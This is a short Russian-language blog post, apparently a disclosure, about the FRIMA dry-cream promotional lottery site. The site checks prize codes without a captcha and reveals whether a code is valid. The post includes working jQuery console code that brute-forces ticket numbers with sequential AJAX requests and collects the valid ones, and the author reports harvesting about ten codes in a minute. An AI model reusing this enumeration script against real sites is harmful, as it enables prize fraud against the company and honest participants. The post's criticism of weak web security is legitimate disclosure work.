На этот раз у нас отличилась компания FRIMA с их сухими сливками.
Сегодня вечером, я открыл пачку сливок, и заметил там маленький круглешок с кодом. Вообще в подобных мероприятиях я обычно не участвую, но мой взгляд привлекла маленькая мелочь, а именно: «код выигрыша» выглядел подобным образом: FRIMA1234123. Как заметили многие читатели, код состоит по сути из семи десятичных цифр, то есть всего у нас 10 000 000 комбинаций.
Первое же, что мне пришло в голову — это залезть на сайт для ввода кода — frima.biz/lottery, где обнаружилось, что для проверки кода не используется никакая капча. Беглый осмотр проходящего AJAX-запроса для проверки показал, что в ответ приходит JSON-объект, в котором есть поле code, которое равно 0 если код существует.
Следом за этим я открыл консоль браузера, и накидал следующий код:
t = [];
i = 1111111;
q = function() {
jQuery.post('/lottery?task=ajax&action=checkTicketNumber',
{ spoof_id: 1, frmname: '', frmemail: '', 'extra_field[1]': '', 'extra_field[2]': '', ticket_number: 'FRIMA'+i },
function(res) {
if(JSON.parse(res).code == 0) {
t.push(i);
};
if(i < 1112222) { // не будем же мы ждать все 10 000 000 запросов
i += 1;
q();
}
});
};
q();
После этого мы можем в любой момент получить накопившийся список кодов, сделав
console.log(t);
Из кода несложно догадаться, что мы просто проверяем прямым перебором все возможные коды начиная с 1111111. Получив за минуту с десяток кодов, я удовлетворил своё эго и решил написать сюда.
В качестве итога я с осуждением смотрю на компанию TopWebDesign, которая с гордостью подписалась в футере рассмотренного сайта как разработчик этой халтуры.
Автор: GearHead